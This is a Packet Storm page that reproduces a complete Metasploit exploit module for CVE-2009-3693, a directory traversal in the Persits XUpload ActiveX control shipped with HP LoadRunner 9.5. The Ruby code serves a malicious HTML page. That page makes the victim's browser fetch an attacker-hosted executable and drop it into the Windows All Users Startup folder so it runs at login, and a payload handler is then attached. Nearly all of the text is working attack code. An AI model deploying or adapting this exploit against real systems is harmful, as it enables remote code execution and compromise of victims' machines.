Persits XUpload ActiveX MakeHttpRequest Directory Traversal

2009-12-3100:00:00
jduck
packetstormsecurity.com
0.901 High
EPSS
Percentile
98.8%
JSON
`##  
# $Id: persits_xupload_traversal.rb 7760 2009-12-08 21:24:45Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Persits XUpload ActiveX MakeHttpRequest Directory Traversal',  
'Description' => %q{  
This module exploits a directory traversal in Persits Software Inc's  
XUpload ActiveX control(version 3.0.0.3) that's included in HP LoadRunner 9.5.  
By passing a string containing "..\\" sequences to the MakeHttpRequest method,  
an attacker is able to write arbitrary files to arbitrary locations on disk.  
  
Code execution occurs by writing to the All Users Startup Programs directory.  
You may want to combine this module with the use of multi/handler since a  
user would have to log for the payloda to execute.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'jduck' ],  
'Version' => '$Revision: 7760 $',  
'References' =>  
[  
[ 'CVE', '2009-3693'],  
[ 'OSVDB', '60001'],  
[ 'URL', 'http://retrogod.altervista.org/9sg_hp_loadrunner.html' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 2048,  
'Compat' =>  
{  
'ConnectionType' => '-find',  
}  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DisclosureDate' => 'Sep 29 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('PATH', [ true, 'The path to place the executable.', '../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),  
], self.class)  
end  
  
def on_request_uri(cli, request)  
  
uri,token = request.uri.split('?', 2)  
  
print_status("request fired : #{uri}")  
  
if !token  
# randomize some stuff  
objid = rand_text_alpha(rand(100) + 1)  
func = rand_text_alpha(rand(100) + 1)  
  
# send the html that makes the payload get downloaded  
token = rand_text_numeric(32)  
if ("/" == get_resource[-1,1])  
exe_uri = get_resource[0, get_resource.length - 1]  
else  
exe_uri = get_resource  
end  
exe_uri << "?" + token  
  
exe_host = ""  
exe_host << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])  
  
exe_hostport = datastore['SRVPORT']  
  
exe_name = datastore['PATH'].dup  
exe_name << rand_text_alphanumeric(rand(100) + 1)  
exe_name << ".exe"  
  
html = %Q|<html>  
<head>  
<script language='javascript'>  
function #{func}()  
{  
#{objid}.Server = "#{exe_host}";  
#{objid}.Script = "#{exe_uri}";  
#{objid}.Port = #{exe_hostport};  
#{objid}.MakeHttpRequest("","","#{exe_name}","","")  
}  
</script>  
</head>  
<body onload='javascript:#{func}()'>  
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id=#{objid}></object>  
</body>  
</html>  
|  
print_status("Sending exploit html to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response(cli, html,  
{  
'Connection' => 'close',  
'Pragma' => 'no-cache'  
})  
return  
end  
  
print_status("Sending payload exe to #{cli.peerhost}:#{cli.peerport}...")  
return if ((p = regenerate_payload(cli)) == nil)  
data = Msf::Util::EXE.to_win32pe(framework,p.encoded)  
  
# send the exe  
send_response(cli, data,  
{  
'Content-Type' => 'application/octet-stream',  
'Connection' => 'close',  
'Pragma' => 'no-cache'  
})  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`
0.901 High
EPSS
Percentile
98.8%
JSON
Related for PACKETSTORM:84576